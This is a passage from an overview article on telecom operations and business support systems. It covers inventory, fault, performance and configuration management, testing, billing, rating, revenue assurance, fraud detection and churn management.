It should be noted that Provisioning systems interact with the Inventory systems, both to verify that the required network elements and other facilities are available, and once the resources are provisioned - to reflect the changed on-line configuration of the facilities. Therefore, provisioning systems have close channels with inventory systems. As a result, some vendors have combined workflow capabilities with inventory management capabilities in their products.

2.3 Inventory Management

Tracking inventory involves tracking equipment, facilities and circuits.

Some examples of information tracked are: the location and quantities of the equipment, how a piece of equipment is configured and its status, etc.
Inventory Management Systems track both the physical network assets (such as equipment and devices) as well as “logical” inventory (such as active ports, circuit ids, IP addresses, etc.), although not all support both.

By relating usage of network assets to specific customers and services, an inventory system can help network operations determine the network usage and available capacity as well as enable automated network design and planning. Inventory Management Systems also enable Service Assurance systems to find the impact of a network fault on the customer’s circuits.

Some tools also have “auto-discovery” features to automatically check physical network assets and match the results with the information held in the inventory. However, these work only with some of the newer intelligent network elements.

2.2 Service Assurance

Communications service providers (CSP) strive to differentiate themselves from their competitors by implementing attractive Service Level Agreements (SLA). SLAs are formal contracts where the level of service delivered by the CSP to his customer is stipulated. An SLA may specify levels of service availability, performance, operation, etc. as well as penalties upon violation of the SLA.

Offering SLAs implies that the service provider has the ability to monitor, act and report the level of service, in order to assure the quality of services delivered to the customers. Service Assurance refers to all the activities performed for such an assurance. The goal of Service Assurance is to provide an optimal customer experience, that helps retain existing customers, attract new customers and prevent penalties arising out of violation of SLAs.

The following sub-sections introduce some of the common service Assurance systems.

2.2.1 Fault and Trouble Management

Fault Management Systems are designed for detection, isolation and correction of malfunctions in a communications network. They monitor and process network alarms generated by network elements (routers, switches, gateways, etc.). An alarm* is a persistent indication of a fault that is cleared only when the triggering condition is resolved.

Examples of trouble or fault in a network are damage to an optical fiber line, switch failure, etc. Such a problem in the network can result in a chain reaction where many network elements in a certain path produce alarms*.

Fault Management Systems may be either a component within Network Management Systems or as a standalone set of system and application software.

The following figure illustrates how fault management works.

Network Elements are designed to provide various levels of self-diagnosis. Older Network Elements might simply send an alarm notifying a problem while newer Network Elements can provide more precise and detailed messages. Fault Management Systems may collect alarms via SNMP traps, CMIP events or proprietary agents, via EMS. They use complex filtering systems to assign alarms to specific severity levels and correlate different alarms to locate the source and cause of a problem.

After a problem is identified, the FMS then notifies appropriate network operators as well as pass the problem information to a Trouble Management System that in turn logs the problem and issues a trouble ticket to start the repair process.

The Trouble Management System then sends commands to appropriate systems such as Field Service Management to schedule and dispatch technicians to repair the equipment and/or to EMS to reroute network traffic around the problem areas.

Trouble Management systems also handle automatic escalation, such as progression of a ticket from minor to major or major to critical, etc., and support a variety of notification methods such as paging, emails, synthesis voice dial-out.

Fault Management systems usually provide graphical network displays which are projected on large screens at the Network Operations Centres (NOC). NOC operators can see role-based views on their consoles, shortcuts to operations they perform the most as well as tools to quickly make connections to EMS to perform any testing or diagnostic operation.

2.2.2 Network Performance Management

Performance Management components in NMS and other Alarm Handlers monitor applications and systems and collect performance variables of interest at specified intervals. Performance variables of interest may be service provider network edge availability, customer premises availability, response times, packet delivery rate, packet losses, latencies, jitters and out of sequence packet reorder, etc., to name a few.

One way to capture performance metrics is collecting event logs, CDRs and other performance data such as counters or timers that the network and system elements maintain as part of their normal operation. This is referred to as passive measurement. Performance data is captured by polling MIB using SNMP or using syslog, (I & II), FTP, EMS feeds, etc. Most passive measurements report on a single network element.

For example, an Ethernet Switch may have a MIB which provides in and out data volumes of each port, histograms of frame sizes, number and types of erroneous frames, central processing unit (CPU) busy status. Associated Remote Monitoring (RMON) MIB-type data can then list ten most active users, etc. Performance Management tools can access the data by using SNMP to poll the MIBs at predefined intervals.
Statistics on performance variables can also be captured via dedicated network appliances known such as “probes” and “sniffers” that monitor or probe customer’s local loop connections, packet performance, etc. This form of performance testing is usually referred to as active testing.

Packet sniffers typically monitor signaling protocols such as SIP and RTP by inspecting packets on the wire/fiber, using pings, DNS, FTP, HTTP fetches, etc. Examples include WireShark and Geoprobes.

Probes such as Brix Networks BrixWorks Verifiers and Tektronix/Minacom IVR tools typically emulate customer traffic in order to test or probe specific paths to measure the quality of the services supported. Probes could be either placed into the network or could be built into network elements such as in the case of Cisco’s IP Service Level Agreements tools.

Note that active measurement measures a service, such as application response time, instead of the internal operation of a network element.

An example of active network performance test is injecting “ping” (short, network layer echo packet) into the network aimed at a remote IP address. Round-trip time is measured if the ping packet returns, and an error counter is incremented if it doesn’t.

Performance statistics captured by “active” or “passive” performance tests are normalized and routed to relational databases and/or data-warehouses. An alternative is to pass the performance data directly to Performance Management tools. For example, Concord eHealth could collect performance statistics from Netcool agents via SNMP polls at a pre-defined interval.

Performance statistics are initially analyzed to determine the normal (baseline) levels. Appropriate thresholds are determined for each of the interesting performance variable so that exceeding the thresholds indicates a problem.

Performance Management tools then measure the performance variables against SLAs defined as thresholds per application or service, on an on-going basis. In case of exceptions they report them to alarm handlers. This form of performance monitoring is reactive performance monitoring. Some tools also support proactive monitoring by way of providing simulation tools that helps network operators project how growth in network traffic will affect performance metrics and plan to take proactive countermeasures such as increase capacity.

Performance Management tools may also support real-time and historical reporting. Some CSPs have taken performance statistics of the network affecting customers’ circuits to their customer self-service portals.

2.2.3. Topology & Configuration Management

Older networks and systems were static and the network wiring was fixed in place, and sometimes required long outages while changes to the network and its configuration were being made. Any error or inconsistency in the configuration files of different network devices caused problem, and therefore these changes were well controlled [3].
According to [3], with the rise of IP-based, dynamically routed networks, network topologies started becoming dynamic. The topology of the network became dynamic because a few of routers might decide, on their own, to shift routing patterns, or because a network operator group might add a new router or switch to the network, possibly without everyone else in the network operations center being aware of the changes. Instead of static associations between users and network addresses (as was set in the old “hosts” file), DHCP and other techniques allowed users to appear, move, and disappear without providing prior notice to the network administration.

Most major NMSs therefore provide capabilities to automatically discover a network’s actual topology, which is critical to understand network performance or root cause of network alarms, etc.

Probes are placed into the network to automatically find devices and circuits. Also, most network elements provide MIBs that can be polled via SNMP to discover the network, although discovering the network topology in its entirety may not be guaranteed. Backup paths, virtual private networks, MPLS, etc., can make it very difficult to discover actual paths, through multiplexed links, patch panels, and test equipment [3].

Also, most Topology Management Systems allow the network operator to provide hints so that the system, for instance, in order that the system can ignore certain portions of the network. This makes it easier to discover relevant portions of the network more accurately.

Some service providers may run network discovery routines on a daily basis to discover any unauthorized changes to the network topology as a result of security intrusions or unplanned insertion of devices.

Moreover, network elements and computer systems have a variety of version information associated with them. For example, a workstation may have: Operation System, version 32, Ethernet Interface, version 5.4, TCP/IP Software, version 2.0 and SNMP Software, version 3.1. Since multiple engineers/network operators work on making changes to the network equipment, tracking the changes manually would be very tedious and error-prone. Configuration Management tools help automates the tracking of the changes. Configuration Management systems store the configurations in a database or LDAP server for easy access.

They also enable network operators to change configurations of the network elements as well as to roll back a change to a previous configuration, if required.
When a problem in the network occurs, network operators often search the Configuration Management database for clues that can help solve the problem.

2.2.4. Planning & Testing

Network Planning solutions help determine when a communication network needs an upgrade or additional equipment as well as to predict the impact of changes to a service provider’s network’s topology, configuration, traffic and technology. They provide simulation tools that help the network operators to project how growth in network traffic will affect the network performance. Based on the results and other planning activities, network operators can take countermeasures such as increase capacity.

Testing is an important activity in setting up a network or customer circuits. For simplicity in understanding the gamut of testing activities, let us divide them into the following:

1. Testing of existing network or a change
2. Integration testing of services configured for the customer
3. End-to-end testing of services configured for the customer

Testing the entire network platform - including the equipment, services and call quality – is critical for assessing the system prior to deployment and for service assurance in production environments [4].

Network testing tools usually simulate a production environment and generate synthetic voice, video and data traffic, which helps measure call/data quality, network performance, and the affects of any changes to the network or increasing traffic or adding new applications. These tests typically include tests like DNS, HTTP, RTP, Ping, etc. Also, during ongoing operations, these testing tools enable active testing of facilities.

Another form of testing is integration testing of network setup for the customer, i.e., routes, circuits, etc. configured for a customer. Network operators or field engineers perform integration testing of services upon completion of activations and other provisioning activities. Field engineers typically use equipment and network element specific applications to perform integration testing.

Upon completion of integration testing, field operations teams are notified to perform end-to-end testing. End-to-end testing includes testing of circuits, both within the CSP’s network as well as local access circuits between the CSP and the customer premises. Some service provider’s use craft access systems for the benefit of field technician’s access to their internal systems through a hand held terminal [5]. The hand held terminal helps them to access loop testing system and to view the complete test summary from remote locations.

2.3 Billing

IDC [6] defines Billing as: the processing and compiling of charges and enabling of revenue collection for network usage, feature transactions, and access charges of the services.Mediation systems collect network usage data from the network elements and convert to billable statistics.
The following figure depicts a simple Billing flow:

Traditionally, for phone calls, Call Detail Records (CDR) have been used to record the details of the circuit-switched phone call. CDR includes information on start time of call, end time of call, duration of call, originating and termination numbers. CDRs are stored until a billing cycle runs. For IP Based Services, a new standard is gaining acceptance called Internet Protocol Detail Record (IPDR). IPDR supports both voice and data.

Billing systems use mediation output to determine charges for the customers. It is also used to feed other downstream applications such as Fraud and Churn Management.

2.3.2 Rating

Rating systems calculate the charge for an individual call, IP usage event, etc. using the CDRs/IPDRs. Rating systems apply charges based on pre-configured pricing rules, applicable discounts and rebates from promotions.

This rating process has grown increasingly complex in recent years. In older times, it was solely a matter of taking the length of the call, assigning a price based on the mileage band (calculated by cross-referencing the prefix of the originating and terminating numbers in a table of values), and assigning discounts based on the time of day (peak, evening, night), day of the week, and holidays.

Modern rating systems can assign discounts based on calling circles, provide flexible rating plans based on size of accounts and increase switching costs [2]. These serve as strategic marketing tools but can be very complex to administer and operate.

2.3.3 Billing Systems

Billing systems aggregate rated calls, IP/data usage events, etc. and calculate customer invoices. In the United States, billing is usually performed once a month.

Billing systems combine rated records with prior balance information, payment records, recurring charges (such as line rentals), one-time fees (such as installation and service charges), promotions and discounts associated with the customer account, taxes and credits. Overnight billing batch jobs are among the largest batch environment at a CSP’s operating environment. Each customer is assigned a specific billing cycle.

According to Insight [2], the holy grails of the billing industry are unified billing and convergent billing. With unified billing, a customer gets a single bill for all services provided (or billed) by the service provider, appropriately rated, discounted, and taxed, and a single contact for inquiries and negotiation.

2.3.4. Interconnection Billing
In the competitive world of communications, service providers often tie-up with partners, in order to bundle their own products with their partners. This helps the service providers to provide attractive bundles of products and services. However, in order to successfully settle interconnect billing settlements an effective Interconnection Billing is required.

Interconnection Billing products support inter-working of a service provider’s billing systems with the corresponding systems of another service provider, based on interconnect agreements and contracts.

2.3.5. Revenue Assurance

Revenue Assurance & Fraud Management systems verify billing, detect and identify unauthorized usage of service provider network assets. Some of the kinds of frauds are Usage and Subscription.

Usage Fraud means that a customer uses the telecommunications network illegally. This is accomplished either by obtaining a service with no intent to pay or by obtaining unauthorized access to the network (i.e. “hacking” or “cracking”).

Fraud Management systems typically detect and prevent unauthorized access to a communications network by analyzing traffic patterns on the network. Some examples are provided in [8]:
• One technique involves analyzing the average call duration or the number of calls placed to foreign countries to determine whether the traffic patterns are consistent with a subscriber's call history or pattern. If a call is inconsistent with the subscriber's call pattern profile, the subscriber is provided with a report of the abnormal call activity.
• Other methods for dealing with the problem of unauthorized use involve automatically denying or blocking access to the network when abnormal use is detected to minimize the subscriber's financial loss.
Subscription fraud means that a customer obtains a service account by giving a false identity (name and/or SSN) or by giving a false address or false credit worthiness.

Detecting subscription fraud involves searching recent order and existing customer data for multiple orders and/or accounts with the same customer name, SSN, or service address.

Common subscription fraud patterns include:
• Change of billing address within a few weeks of opening an account.
• Substantial deviation of usage profile of a new user from an average new user.
Common techniques to control subscription based fraud include threshold based analysis, inference rules analysis, profile based analysis such as habitual user profiles and neural networks.

Fraud Management Systems typically read and store usage data from the service provider’s network switching equipment and allows queries to be executed against the data that detect suspicious usage patterns.

They also allow operators to review customer accounts that have suspicious activity, to track their investigation and record the final case resolution.

It should be noted that fraud is different from revenue leakage. Revenue leakage is characterized by the loss of revenues resulting from operational or technical loopholes where the resulting losses are sometimes recoverable and generally detected through audits or similar procedures [1]. Fraud, on the other hand, is characterized with theft by deception, typically characterized by evidence of intent where the resulting losses are often not recoverable and may be detected by analysis of calling patterns.

Another important class of Revenue Assurance tools includes Churn Management tools. Churn management is an important area for service providers that have subscription-based business - due to price wars, aggressive marketing and promotions from competing service providers, and customer’s expectations related to customer service.

Churn Management tools provide functions such as automated behavior analysis, forecasting and simulation, empirical profiling, churn metrics capture, that enable service providers to learn which customers are likely to leave and take appropriate countermeasures.

3. Conclusion

3.1 Summary

OSS/BSS systems and applications automate many of the day to day operations performed in a communications service provider’s operating environment. They optimize the time taken to perform these operations and make the business processes more efficient.

There are no all-encompassing OSS/BSS systems that can be installed, integrated, tested and allow the service providers to easily modernize their end-to-end operations functions.

Service providers, therefore, use all the different approaches: best-of-breed in some areas, off-the-shelf in some, and home-grown custom applications in the remaining areas, to modernize and optimize their operations.

More often than not, many of these OSS/BSS systems are integrated with the others in a point-to-point fashion, as part of discrete projects and programs, sponsored out of different business units. This leads to point-to-point integration of OSS/BSS systems unless the programs/projects are planned with a strategic goal.

A side effect of the difficulty in integrating the various OSS/BSS systems is many of the OSS/BSS systems in a service provider’s operating environment may not be integrated at all. For example, it is not unusual to find the following scenario: when a customer orders a new telephone line, the ordering system takes the details of a customer’s order, but a manual process is present to configure the telephone exchange using a switch management system. Details of the order entered in the Order Handling system is re-keyed manually by the technician into the Switch Management System – a process often referred to as “Swivel-Chair Integration”.

The article provided an overview of some of the core OSS/BSS areas in Order Fulfillment, Service Assurance and Billing.